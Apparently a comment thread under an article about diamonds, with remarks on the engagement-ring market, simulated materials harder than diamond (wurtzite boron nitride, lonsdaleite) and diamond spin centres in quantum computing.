Try using all this knowledge to explain to your girlfriend why she won’t be getting a diamond engagement ring and you’ll see how well the advertisers have done their job.
Personally I hate anything that has a manufactured market. Diamonds, greeting cards and any St. Valentines Day products, Christmas presents, etcetera. Why are people so easily convinced to spend money on the completely unnecessary?
Very good shout by ‘buak’ above. This form of of boron and nitrogen have been theoretically shown to give a larger hardness than diamond very recently (last 2 months). It achieves this by reconfiguring molecularly under stress, but as he/she says its nigh on impossible to recreate crystals to test this theory.
Most importantly, I think what this article doesn’t touch on is how diamond is drastically contributing to modern science, and the way it is mostly is quantum computing. Bear with me here…
For the unfamiliar, quantum computing ultimately means ultra fast computing, i.e. ridiculously fast searching, solving, etc. So where does diamond come in?
Quantum computing goes about its business by manipulating a single atom to respond to computer inputs and outputs. The problem is, atoms respond to many things so isolating a single atom needs a high level of environmental control. Diamond achieves this 3 fold. 1, diamond can house active ‘spin centres’ that can be manipulated to process information and react to signals. 2, the lattice of carbon atoms (which make up diamond in a stacked tripod formation) shield the computing centre from unwanted influences, and the carbon atoms (c12) are bystanders to the quantum process. 3, they are transparent so can be accessed by fast lasers, and 4, finally, they are great heat dissipators so can handle energetic work loads.
Loads of work is being right now on this subject (see the EQUIND project), but the frontiers of diamond science extend to biology, nanotechnology and chemistry alike. To see this other side of diamond, visit thediamondgeyser.blogspot.com
]]>from a new scientist article:
“Only small amounts of wurtzite boron nitride and lonsdaleite exist naturally or have been made in the lab so until now no one had realised their superior strength. The simulation showed that wurtzide boron nitride would withstand 18% more stress than diamond, and lonsdaleite 58% more. If the results are confirmed with physical experiments, both materials would be far harder than any substance ever measured.”
